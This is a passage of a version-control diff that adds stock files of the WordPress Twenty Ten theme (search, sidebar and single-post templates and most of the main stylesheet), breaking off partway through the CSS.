+	margin-left: 20px;
+	margin-right: 0;
+}
+#footer-widget-area #fourth {
+	margin-left: 0;
+}
+#site-info {
+	float: right;
+}
+#site-generator {
+	float: left;
+}
+
+
+/* =Global Elements
+-------------------------------------------------------------- */
+
+/* Text elements */
+ul, ol {
+	margin: 0 1.5em 18px 0;
+}
+blockquote {
+	font-style: normal;
+}
+
+/* Text meant only for screen readers */
+.screen-reader-text {
+	left: auto;
+	text-indent:-9000px;
+	overflow:hidden;
+}
+
+
+/* =Header
+-------------------------------------------------------------- */
+
+#site-title {
+	float: right;
+}
+#site-description {
+	clear: left;
+	float: left;
+	font-style: normal;
+}
+#branding img {
+	float: right;
+}
+
+/* =Menu
+-------------------------------------------------------------- */
+
+#access {
+	float:right;
+}
+
+#access .menu-header,
+div.menu {
+	margin-right: 12px;
+	margin-left: 0;
+}
+
+#access .menu-header li,
+div.menu li{
+	float:right;
+}
+
+#access ul ul {
+	left:auto;
+	right:0;
+	float:right;
+}
+#access ul ul ul {
+	left:auto;
+	right:100%;
+}
+
+/* =Content
+-------------------------------------------------------------- */
+
+#content table {
+	text-align: right;
+	margin: 0 0 24px -1px;
+}
+.page-title span {
+	font-style:normal;
+}
+.entry-title,
+.entry-meta {
+	clear: right;
+	float: right;
+	margin-left: 68px;
+	margin-right: 0;
+}
+
+.entry-content input.file,
+.entry-content input.button {
+	margin-left: 24px;
+	margin-right:0;
+}
+.entry-content blockquote.left {
+	float: right;
+	margin-right: 0;
+	margin-left: 24px;
+	text-align: left;
+}
+.entry-content blockquote.right {
+	float: left;
+	margin-right: 24px;
+	margin-left: 0;
+	text-align: right;
+}
+#entry-author-info #author-avatar {
+	float: right;
+	margin: 0 0 0 -104px;
+}
+#entry-author-info #author-description {
+	float: right;
+	margin: 0 104px 0 0;
+}
+
+/* Gallery listing
+-------------------------------------------------------------- */
+
+.category-gallery .gallery-thumb {
+	float: right;
+	margin-left:20px;
+	margin-right:0;
+}
+
+
+/* Images
+-------------------------------------------------------------- */
+
+#content .gallery .gallery-caption {
+	margin-right: 0;
+}
+
+#content .gallery .gallery-item {
+	float: right;
+}
+
+/* =Navigation
+-------------------------------------------------------------- */
+.nav-previous {
+	float: right;
+}
+.nav-next {
+	float: left;
+	text-align:left;
+}
+
+/* =Comments
+-------------------------------------------------------------- */
+
+.commentlist li.comment {
+	padding: 0 56px 0 0;
+}
+.commentlist .avatar {
+	right: 0;
+	left: auto;
+}
+.comment-author .says, #comments .pingback .url  {
+	font-style: normal;
+}
+
+/* Comments form */
+.children #respond {
+	margin: 0 0 0 48px;
+}
+
+/* =Widget Areas
+-------------------------------------------------------------- */
+
+.widget-area ul {
+	margin-right: 0;
+}
+.widget-area ul ul {
+	margin-right: 1.3em;
+	margin-left: 0;
+}
+#wp-calendar caption {
+	text-align: right;
+}
+#wp-calendar tfoot #next {
+	text-align: left;
+}
+
+/* Main sidebars */
+#main .widget-area ul {
+	margin-right: 0;
+	padding: 0 0 0 20px;
+}
+#main .widget-area ul ul {
+	margin-right: 1.3em;
+	margin-left: 0;
+}
+
+/* =Footer
+-------------------------------------------------------------- */
+#site-generator {
+	font-style:normal;
+}
+#site-generator a {
+	background-position: right center;
+	padding-right: 20px;
+	padding-left: 0;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyten/search.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/search.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/search.php	(revision 33402)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * Template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+<?php if ( have_posts() ) : ?>
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyten' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
+				<?php
+				/*
+				 * Run the loop for the search to output the results.
+				 * If you want to overload this in a child theme then include a file
+				 * called loop-search.php and that will be used instead.
+				 */
+				 get_template_part( 'loop', 'search' );
+				?>
+<?php else : ?>
+				<div id="post-0" class="post no-results not-found">
+					<h2 class="entry-title"><?php _e( 'Nothing Found', 'twentyten' ); ?></h2>
+					<div class="entry-content">
+						<p><?php _e( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.', 'twentyten' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</div><!-- #post-0 -->
+<?php endif; ?>
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/sidebar-footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/sidebar-footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/sidebar-footer.php	(revision 33402)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * The Footer widget areas
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+
+<?php
+	/*
+	 * The footer widget area is triggered if any of the areas
+	 * have widgets. So let's check that first.
+	 *
+	 * If none of the sidebars have widgets, then let's bail early.
+	 */
+	if (   ! is_active_sidebar( 'first-footer-widget-area'  )
+		&& ! is_active_sidebar( 'second-footer-widget-area' )
+		&& ! is_active_sidebar( 'third-footer-widget-area'  )
+		&& ! is_active_sidebar( 'fourth-footer-widget-area' )
+	)
+		return;
+	// If we get this far, we have widgets. Let do this.
+?>
+
+			<div id="footer-widget-area" role="complementary">
+
+<?php if ( is_active_sidebar( 'first-footer-widget-area' ) ) : ?>
+				<div id="first" class="widget-area">
+					<ul class="xoxo">
+						<?php dynamic_sidebar( 'first-footer-widget-area' ); ?>
+					</ul>
+				</div><!-- #first .widget-area -->
+<?php endif; ?>
+
+<?php if ( is_active_sidebar( 'second-footer-widget-area' ) ) : ?>
+				<div id="second" class="widget-area">
+					<ul class="xoxo">
+						<?php dynamic_sidebar( 'second-footer-widget-area' ); ?>
+					</ul>
+				</div><!-- #second .widget-area -->
+<?php endif; ?>
+
+<?php if ( is_active_sidebar( 'third-footer-widget-area' ) ) : ?>
+				<div id="third" class="widget-area">
+					<ul class="xoxo">
+						<?php dynamic_sidebar( 'third-footer-widget-area' ); ?>
+					</ul>
+				</div><!-- #third .widget-area -->
+<?php endif; ?>
+
+<?php if ( is_active_sidebar( 'fourth-footer-widget-area' ) ) : ?>
+				<div id="fourth" class="widget-area">
+					<ul class="xoxo">
+						<?php dynamic_sidebar( 'fourth-footer-widget-area' ); ?>
+					</ul>
+				</div><!-- #fourth .widget-area -->
+<?php endif; ?>
+
+			</div><!-- #footer-widget-area -->
Index: /tags/4.1.6/src/wp-content/themes/twentyten/sidebar.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/sidebar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/sidebar.php	(revision 33402)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * Sidebar template containing the primary and secondary widget areas
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+
+		<div id="primary" class="widget-area" role="complementary">
+			<ul class="xoxo">
+
+<?php
+	/*
+	 * When we call the dynamic_sidebar() function, it'll spit out
+	 * the widgets for that widget area. If it instead returns false,
+	 * then the sidebar simply doesn't exist, so we'll hard-code in
+	 * some default sidebar stuff just in case.
+	 */
+	if ( ! dynamic_sidebar( 'primary-widget-area' ) ) : ?>
+
+			<li id="search" class="widget-container widget_search">
+				<?php get_search_form(); ?>
+			</li>
+
+			<li id="archives" class="widget-container">
+				<h3 class="widget-title"><?php _e( 'Archives', 'twentyten' ); ?></h3>
+				<ul>
+					<?php wp_get_archives( 'type=monthly' ); ?>
+				</ul>
+			</li>
+
+			<li id="meta" class="widget-container">
+				<h3 class="widget-title"><?php _e( 'Meta', 'twentyten' ); ?></h3>
+				<ul>
+					<?php wp_register(); ?>
+					<li><?php wp_loginout(); ?></li>
+					<?php wp_meta(); ?>
+				</ul>
+			</li>
+
+		<?php endif; // end primary widget area ?>
+			</ul>
+		</div><!-- #primary .widget-area -->
+
+<?php
+	// A second sidebar for widgets, just because.
+	if ( is_active_sidebar( 'secondary-widget-area' ) ) : ?>
+
+		<div id="secondary" class="widget-area" role="complementary">
+			<ul class="xoxo">
+				<?php dynamic_sidebar( 'secondary-widget-area' ); ?>
+			</ul>
+		</div><!-- #secondary .widget-area -->
+
+<?php endif; ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/single.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/single.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/single.php	(revision 33402)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the post.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-single.php and that will be used instead.
+			 */
+			get_template_part( 'loop', 'single' );
+			?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/style.css	(revision 33402)
@@ -0,0 +1,1386 @@
+/*
+Theme Name: Twenty Ten
+Theme URI: http://wordpress.org/themes/twentyten
+Description: The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the "Asides" and "Gallery" categories, and has an optional one-column page template that removes the sidebar.
+Author: the WordPress team
+Author URI: http://wordpress.org/
+Version: 1.8
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: black, blue, white, two-columns, fixed-layout, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style, custom-menu, flexible-header
+Text Domain: twentyten
+*/
+
+
+/* =Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html
+-------------------------------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+	background: transparent;
+	border: 0;
+	margin: 0;
+	padding: 0;
+	vertical-align: baseline;
+}
+body {
+	line-height: 1;
+}
+h1, h2, h3, h4, h5, h6 {
+	clear: both;
+	font-weight: normal;
+}
+ol, ul {
+	list-style: none;
+}
+blockquote {
+	quotes: none;
+}
+blockquote:before, blockquote:after {
+	content: '';
+	content: none;
+}
+del {
+	text-decoration: line-through;
+}
+/* tables still need 'cellspacing="0"' in the markup */
+table {
+	border-collapse: collapse;
+	border-spacing: 0;
+}
+a img {
+	border: none;
+}
+
+/* =Layout
+-------------------------------------------------------------- */
+
+/*
+LAYOUT: Two columns
+DESCRIPTION: Two-column fixed layout with one sidebar right of content
+*/
+
+#container {
+	float: left;
+	margin: 0 -240px 0 0;
+	width: 100%;
+}
+#content {
+	margin: 0 280px 0 20px;
+}
+#primary,
+#secondary {
+	float: right;
+	overflow: hidden;
+	width: 220px;
+}
+#secondary {
+	clear: right;
+}
+#footer {
+	clear: both;
+	width: 100%;
+}
+
+/*
+LAYOUT: One column, no sidebar
+DESCRIPTION: One centered column with no sidebar
+*/
+
+.one-column #content {
+	margin: 0 auto;
+	width: 640px;
+}
+
+/*
+LAYOUT: Full width, no sidebar
+DESCRIPTION: Full width content with no sidebar; used for attachment pages
+*/
+
+.single-attachment #content {
+	margin: 0 auto;
+	width: 900px;
+}
+
+
+/* =Fonts
+-------------------------------------------------------------- */
+body,
+input,
+textarea,
+.page-title span,
+.pingback a.url {
+	font-family: Georgia, "Bitstream Charter", serif;
+}
+h3#comments-title,
+h3#reply-title,
+#access .menu,
+#access div.menu ul,
+#cancel-comment-reply-link,
+.form-allowed-tags,
+#site-info,
+#site-title,
+#wp-calendar,
+.comment-meta,
+.comment-body tr th,
+.comment-body thead th,
+.entry-content label,
+.entry-content tr th,
+.entry-content thead th,
+.entry-meta,
+.entry-title,
+.entry-utility,
+#respond label,
+.navigation,
+.page-title,
+.pingback p,
+.reply,
+.widget-title,
+.wp-caption-text {
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+input[type="submit"] {
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+pre {
+	font-family: "Courier 10 Pitch", Courier, monospace;
+}
+code {
+	font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+
+
+/* =Structure
+-------------------------------------------------------------- */
+
+/* The main theme structure */
+#access .menu-header,
+div.menu,
+#colophon,
+#branding,
+#main,
+#wrapper {
+	margin: 0 auto;
+	width: 940px;
+}
+#wrapper {
+	background: #fff;
+	margin-top: 20px;
+	padding: 0 20px;
+}
+
+/* Structure the footer area */
+#footer-widget-area {
+	overflow: hidden;
+}
+#footer-widget-area .widget-area {
+	float: left;
+	margin-right: 20px;
+	width: 220px;
+}
+#footer-widget-area #fourth {
+	margin-right: 0;
+}
+#site-info {
+	float: left;
+	font-size: 14px;
+	font-weight: bold;
+	width: 700px;
+}
+#site-generator {
+	float: right;
+	width: 220px;
+}
+
+
+/* =Global Elements
+-------------------------------------------------------------- */
+
+/* Main global 'theme' and typographic styles */
+body {
+	background: #f1f1f1;
+}
+body,
+input,
+textarea {
+	color: #666;
+	font-size: 12px;
+	line-height: 18px;
+}
+hr {
+	background-color: #e7e7e7;
+	border: 0;
+	clear: both;
+	height: 1px;
+	margin-bottom: 18px;
+}
+
+/* Text elements */
+p {
+	margin-bottom: 18px;
+}
+ul {
+	list-style: square;
+	margin: 0 0 18px 1.5em;
+}
+ol {
+	list-style: decimal;
+	margin: 0 0 18px 1.5em;
+}
+ol ol {
+	list-style: upper-alpha;
+}
+ol ol ol {
+	list-style: lower-roman;
+}
+ol ol ol ol {
+	list-style: lower-alpha;
+}
+ul ul,
+ol ol,
+ul ol,
+ol ul {
+	margin-bottom: 0;
+}
+dl {
+	margin: 0 0 24px 0;
+}
+dt {
+	font-weight: bold;
+}
+dd {
+	margin-bottom: 18px;
+}
+strong {
+	font-weight: bold;
+}
+cite,
+em,
+i {
+	font-style: italic;
+}
+big {
+	font-size: 131.25%;
+}
+ins {
+	background: #ffc;
+	text-decoration: none;
+}
+blockquote {
+	font-style: italic;
+	padding: 0 3em;
+}
+blockquote cite,
+blockquote em,
+blockquote i {
+	font-style: normal;
+}
+pre {
+	background: #f7f7f7;
+	color: #222;
+	line-height: 18px;
+	margin-bottom: 18px;
+	overflow: auto;
+	padding: 1.5em;
+}
+abbr,
+acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+sup,
+sub {
+	height: 0;
+	line-height: 1;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	bottom: 1ex;
+}
+sub {
+	top: .5ex;
+}
+small {
+	font-size: smaller;
+}
+input[type="text"],
+input[type="password"],
+input[type="email"],
+input[type="url"],
+input[type="number"],
+textarea {
+	background: #f9f9f9;
+	border: 1px solid #ccc;
+	box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1);
+	-moz-box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1);
+	-webkit-box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1);
+	padding: 2px;
+}
+a:link {
+	color: #0066cc;
+}
+a:visited {
+	color: #743399;
+}
+a:active,
+a:hover {
+	color: #ff4b33;
+}
+
+/* Text meant only for screen readers */
+.screen-reader-text {
+	position: absolute;
+	left: -9000px;
+}
+
+
+/* =Header
+-------------------------------------------------------------- */
+
+#header {
+	padding: 30px 0 0 0;
+}
+#site-title {
+	float: left;
+	font-size: 30px;
+	line-height: 36px;
+	margin: 0 0 18px 0;
+	width: 700px;
+}
+#site-title a {
+	color: #000;
+	font-weight: bold;
+	text-decoration: none;
+}
+#site-description {
+	clear: right;
+	float: right;
+	font-style: italic;
+	margin: 15px 0 18px 0;
+	width: 220px;
+}
+
+/* This is the custom header image */
+#branding img {
+	border-top: 4px solid #000;
+	border-bottom: 1px solid #000;
+	display: block;
+	float: left;
+}
+
+
+/* =Menu
+-------------------------------------------------------------- */
+
+#access {
+	background: #000;
+	display: block;
+	float: left;
+	margin: 0 auto;
+	width: 940px;
+}
+#access .menu-header,
+div.menu {
+	font-size: 13px;
+	margin-left: 12px;
+	width: 928px;
+}
+#access .menu-header ul,
+div.menu ul {
+	list-style: none;
+	margin: 0;
+}
+#access .menu-header li,
+div.menu li {
+	float: left;
+	position: relative;
+}
+#access a {
+	color: #aaa;
+	display: block;
+	line-height: 38px;
+	padding: 0 10px;
+	text-decoration: none;
+}
+#access ul ul {
+	box-shadow: 0px 3px 3px rgba(0,0,0,0.2);
+	-moz-box-shadow: 0px 3px 3px rgba(0,0,0,0.2);
+	-webkit-box-shadow: 0px 3px 3px rgba(0,0,0,0.2);
+	display: none;
+	position: absolute;
+	top: 38px;
+	left: 0;
+	float: left;
+	width: 180px;
+	z-index: 99999;
+}
+#access ul ul li {
+	min-width: 180px;
+}
+#access ul ul ul {
+	left: 100%;
+	top: 0;
+}
+#access ul ul a {
+	background: #333;
+	line-height: 1em;
+	padding: 10px;
+	width: 160px;
+	height: auto;
+}
+#access li:hover > a,
+#access ul ul :hover > a {
+	background: #333;
+	color: #fff;
+}
+#access ul li:hover > ul {
+	display: block;
+}
+#access ul li.current_page_item > a,
+#access ul li.current_page_ancestor > a,
+#access ul li.current-menu-ancestor > a,
+#access ul li.current-menu-item > a,
+#access ul li.current-menu-parent > a {
+	color: #fff;
+}
+* html #access ul li.current_page_item a,
+* html #access ul li.current_page_ancestor a,
+* html #access ul li.current-menu-ancestor a,
+* html #access ul li.current-menu-item a,
+* html #access ul li.current-menu-parent a,
+* html #access ul li a:hover {
+	color: #fff;
+}
+
+
+/* =Content
+-------------------------------------------------------------- */
+
+#main {
+	clear: both;
+	overflow: hidden;
+	padding: 40px 0 0 0;
+}
+#content {
+	margin-bottom: 36px;
+}
+#content,
+#content input,
+#content textarea {
+	color: #333;
+	font-size: 16px;
+	line-height: 24px;
+}
+#content p,
+#content ul,
+#content ol,
+#content dd,
+#content pre,
+#content hr {
+	margin-bottom: 24px;
+}
+#content ul ul,
+#content ol ol,
+#content ul ol,
+#content ol ul {
+	margin-bottom: 0;
+}
+#content pre,
+#content kbd,
+#content tt,
+#content var {
+	font-size: 15px;
+	line-height: 21px;
+}
+#content code {
+	font-size: 13px;
+}
+#content dt,
+#content th {
+	color: #000;
+}
+#content h1,
+#content h2,
+#content h3,
+#content h4,
+#content h5,
+#content h6 {
+	color: #000;
+	line-height: 1.5em;
+	margin: 0 0 20px 0;
+}
+#content table {
+	border: 1px solid #e7e7e7;
+	margin: 0 -1px 24px 0;
+	text-align: left;
+	width: 100%;
+}
+#content tr th,
+#content thead th {
+	color: #777;
+	font-size: 12px;
+	font-weight: bold;
+	line-height: 18px;
+	padding: 9px 24px;
+}
+#content tr td {
+	border-top: 1px solid #e7e7e7;
+	padding: 6px 24px;
+}
+#content tr.odd td {
+	background: #f2f7fc;
+}
+.hentry {
+	margin: 0 0 48px 0;
+}
+.home .sticky {
+	background: #f2f7fc;
+	border-top: 4px solid #000;
+	margin-left: -20px;
+	margin-right: -20px;
+	padding: 18px 20px;
+}
+.single .hentry {
+	margin: 0 0 36px 0;
+}
+.page-title {
+	color: #000;
+	font-size: 14px;
+	font-weight: bold;
+	margin: 0 0 36px 0;
+}
+.page-title span {
+	color: #333;
+	font-size: 16px;
+	font-style: italic;
+	font-weight: normal;
+}
+.page-title a:link,
+.page-title a:visited {
+	color: #777;
+	text-decoration: none;
+}
+.page-title a:active,
+.page-title a:hover {
+	color: #ff4b33;
+}
+#content .entry-title {
+	color: #000;
+	font-size: 21px;
+	font-weight: bold;
+	line-height: 1.3em;
+	margin-bottom: 0;
+}
+.entry-title a:link,
+.entry-title a:visited {
+	color: #000;
+	text-decoration: none;
+}
+.entry-title a:active,
+.entry-title a:hover {
+	color: #ff4b33;
+}
+.entry-meta {
+	color: #777;
+	font-size: 12px;
+}
+.entry-meta abbr,
+.entry-utility abbr {
+	border: none;
+}
+.entry-meta abbr:hover,
+.entry-utility abbr:hover {
+	border-bottom: 1px dotted #666;
+}
+.entry-content,
+.entry-summary {
+	clear: both;
+	padding: 12px 0 0 0;
+}
+.entry-content .more-link {
+	white-space: nowrap;
+}
+#content .entry-summary p:last-child {
+	margin-bottom: 12px;
+}
+.entry-content fieldset {
+	border: 1px solid #e7e7e7;
+	margin: 0 0 24px 0;
+	padding: 24px;
+}
+.entry-content fieldset legend {
+	background: #fff;
+	color: #000;
+	font-weight: bold;
+	padding: 0 24px;
+}
+.entry-content input {
+	margin: 0 0 24px 0;
+}
+.entry-content input.file,
+.entry-content input.button {
+	margin-right: 24px;
+}
+.entry-content label {
+	color: #777;
+	font-size: 12px;
+}
+.entry-content select {
+	margin: 0 0 24px 0;
+}
+.entry-content sup,
+.entry-content sub {
+	font-size: 10px;
+}
+.entry-content blockquote.left {
+	float: left;
+	margin-left: 0;
+	margin-right: 24px;
+	text-align: right;
+	width: 33%;
+}
+.entry-content blockquote.right {
+	float: right;
+	margin-left: 24px;
+	margin-right: 0;
+	text-align: left;
+	width: 33%;
+}
+.page-link {
+	clear: both;
+	color: #000;
+	font-weight: bold;
+	line-height: 48px;
+	word-spacing: 0.5em;
+}
+.page-link a:link,
+.page-link a:visited {
+	background: #f1f1f1;
+	color: #333;
+	font-weight: normal;
+	padding: 0.5em 0.75em;
+	text-decoration: none;
+}
+.home .sticky .page-link a {
+	background: #d9e8f7;
+}
+.page-link a:active,
+.page-link a:hover {
+	color: #ff4b33;
+}
+body.page .edit-link {
+	clear: both;
+	display: block;
+}
+#entry-author-info {
+	background: #f2f7fc;
+	border-top: 4px solid #000;
+	clear: both;
+	font-size: 14px;
+	line-height: 20px;
+	margin: 24px 0;
+	overflow: hidden;
+	padding: 18px 20px;
+}
+#entry-author-info #author-avatar {
+	background: #fff;
+	border: 1px solid #e7e7e7;
+	float: left;
+	height: 60px;
+	margin: 0 -104px 0 0;
+	padding: 11px;
+}
+#entry-author-info #author-description {
+	float: left;
+	margin: 0 0 0 104px;
+}
+#entry-author-info h2 {
+	color: #000;
+	font-size: 100%;
+	font-weight: bold;
+	margin-bottom: 0;
+}
+.entry-utility {
+	clear: both;
+	color: #777;
+	font-size: 12px;
+	line-height: 18px;
+}
+.entry-meta a,
+.entry-utility a {
+	color: #777;
+}
+.entry-meta a:hover,
+.entry-utility a:hover {
+	color: #ff4b33;
+}
+#content .video-player {
+	padding: 0;
+}
+.format-standard .wp-video,
+.format-standard .wp-audio-shortcode,
+.format-audio .wp-audio-shortcode,
+.format-standard .video-player {
+	margin-bottom: 24px;
+}
+
+/* =Asides
+-------------------------------------------------------------- */
+
+.home #content .format-aside p,
+.home #content .category-asides p {
+	font-size: 14px;
+	line-height: 20px;
+	margin-bottom: 10px;
+	margin-top: 0;
+}
+.home .hentry.format-aside,
+.home .hentry.category-asides {
+	padding: 0;
+}
+.home #content .format-aside .entry-content,
+.home #content .category-asides .entry-content {
+	padding-top: 0;
+}
+
+
+/* =Gallery listing
+-------------------------------------------------------------- */
+
+.format-gallery .size-thumbnail img,
+.category-gallery .size-thumbnail img {
+	border: 10px solid #f1f1f1;
+	margin-bottom: 0;
+}
+.format-gallery .gallery-thumb,
+.category-gallery .gallery-thumb {
+	float: left;
+	margin-right: 20px;
+	margin-top: -4px;
+}
+.home #content .format-gallery .entry-utility,
+.home #content .category-gallery .entry-utility {
+	padding-top: 4px;
+}
+
+
+/* =Attachment pages
+-------------------------------------------------------------- */
+
+.attachment .entry-content .entry-caption {
+	font-size: 140%;
+	margin-top: 24px;
+}
+.attachment .entry-content .nav-previous a:before {
+	content: '\2190\00a0';
+}
+.attachment .entry-content .nav-next a:after {
+	content: '\00a0\2192';
+}
+
+
+/* =Images
+-------------------------------------------------------------- */
+
+/*
+Resize images to fit the main content area.
+- Applies only to images uploaded via WordPress by targeting size-* classes.
+- Other images will be left alone. Use "size-auto" class to apply to other images.
+*/
+img.size-auto,
+img.size-full,
+img.size-large,
+img.size-medium,
+.attachment img,
+.widget-container img {
+	max-width: 100%; /* When images are too wide for containing element, force them to fit. */
+	height: auto; /* Override height to match resized width for correct aspect ratio. */
+}
+.alignleft,
+img.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 24px;
+	margin-top: 4px;
+}
+.alignright,
+img.alignright {
+	display: inline;
+	float: right;
+	margin-left: 24px;
+	margin-top: 4px;
+}
+.aligncenter,
+img.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+img.alignleft,
+img.alignright,
+img.aligncenter {
+	margin-bottom: 12px;
+}
+.wp-caption {
+	background: #f1f1f1;
+	line-height: 18px;
+	margin-bottom: 20px;
+	max-width: 632px !important; /* prevent too-wide images from breaking layout */
+	padding: 4px;
+	text-align: center;
+}
+.wp-caption img {
+	margin: 5px 5px 0;
+	max-width: 622px; /* caption width - 10px */
+}
+.wp-caption p.wp-caption-text {
+	color: #777;
+	font-size: 12px;
+	margin: 5px;
+}
+.wp-smiley {
+	margin: 0;
+}
+.gallery {
+	margin: 0 auto 18px;
+}
+.gallery .gallery-item {
+	float: left;
+	margin-top: 0;
+	text-align: center;
+	width: 33%;
+}
+.gallery-columns-2 .gallery-item {
+	width: 50%;
+}
+.gallery-columns-4 .gallery-item {
+	width: 25%;
+}
+.gallery img {
+	border: 2px solid #cfcfcf;
+}
+.gallery-columns-2 .attachment-medium {
+	max-width: 92%;
+	height: auto;
+}
+.gallery-columns-4 .attachment-thumbnail {
+	max-width: 84%;
+	height: auto;
+}
+.gallery .gallery-caption {
+	color: #777;
+	font-size: 12px;
+	margin: 0 0 12px;
+}
+.gallery dl {
+	margin: 0;
+}
+.gallery img {
+	border: 10px solid #f1f1f1;
+}
+.gallery br+br {
+	display: none;
+}
+#content .attachment img {/* single attachment images should be centered */
+	display: block;
+	margin: 0 auto;
+}
+
+
+/* =Navigation
+-------------------------------------------------------------- */
+
+.navigation {
+	color: #777;
+	font-size: 12px;
+	line-height: 18px;
+	overflow: hidden;
+}
+.navigation a:link,
+.navigation a:visited {
+	color: #777;
+	text-decoration: none;
+}
+.navigation a:active,
+.navigation a:hover {
+	color: #ff4b33;
+}
+.nav-previous {
+	float: left;
+	width: 50%;
+}
+.nav-next {
+	float: right;
+	text-align: right;
+	width: 50%;
+}
+#nav-above {
+	margin: 0 0 18px 0;
+}
+#nav-above {
+	display: none;
+}
+.paged #nav-above,
+.single #nav-above {
+	display: block;
+}
+#nav-below {
+	margin: -18px 0 0 0;
+}
+
+
+/* =Comments
+-------------------------------------------------------------- */
+#comments {
+	clear: both;
+}
+#comments .navigation {
+	padding: 0 0 18px 0;
+}
+h3#comments-title,
+h3#reply-title {
+	color: #000;
+	font-size: 20px;
+	font-weight: bold;
+	margin-bottom: 0;
+}
+h3#comments-title {
+	padding: 24px 0;
+}
+.commentlist {
+	list-style: none;
+	margin: 0;
+}
+.commentlist li.comment {
+	border-bottom: 1px solid #e7e7e7;
+	line-height: 24px;
+	margin: 0 0 24px 0;
+	padding: 0 0 0 56px;
+	position: relative;
+}
+.commentlist li:last-child {
+	border-bottom: none;
+	margin-bottom: 0;
+}
+#comments .comment-body ul,
+#comments .comment-body ol {
+	margin-bottom: 18px;
+}
+#comments .comment-body p:last-child {
+	margin-bottom: 6px;
+}
+#comments .comment-body blockquote p:last-child {
+	margin-bottom: 24px;
+}
+.commentlist ol {
+	list-style: decimal;
+}
+.commentlist .avatar {
+	position: absolute;
+	top: 4px;
+	left: 0;
+}
+.comment-author {
+}
+.comment-author cite {
+	color: #000;
+	font-style: normal;
+	font-weight: bold;
+}
+.comment-author .says {
+	font-style: italic;
+}
+.comment-meta {
+	font-size: 12px;
+	margin: 0 0 18px 0;
+}
+.comment-meta a:link,
+.comment-meta a:visited {
+	color: #777;
+	text-decoration: none;
+}
+.comment-meta a:active,
+.comment-meta a:hover {
+	color: #ff4b33;
+}
+.commentlist .even {
+}
+.commentlist .bypostauthor {
+}
+.reply {
+	font-size: 12px;
+	padding: 0 0 24px 0;
+}
+.reply a,
+a.comment-edit-link {
+	color: #777;
+}
+.reply a:hover,
+a.comment-edit-link:hover {
+	color: #ff4b33;
+}
+.commentlist .children {
+	list-style: none;
+	margin: 0;
+}
+.commentlist .children li {
+	border: none;
+	margin: 0;
+}
+.nopassword,
+.nocomments {
+	display: none;
+}
+#comments .pingback {
+	border-bottom: 1px solid #e7e7e7;
+	margin-bottom: 18px;
+	padding-bottom: 18px;
+}
+.commentlist li.comment+li.pingback {
+	margin-top: -6px;
+}
+#comments .pingback p {
+	color: #777;
+	display: block;
+	font-size: 12px;
+	line-height: 18px;
+	margin: 0;
+}
+#comments .pingback .url {
+	font-size: 13px;
+	font-style: italic;
+}
+
+/* Comments form */
+input[type="submit"] {
+	color: #333;
+}
+#respond {
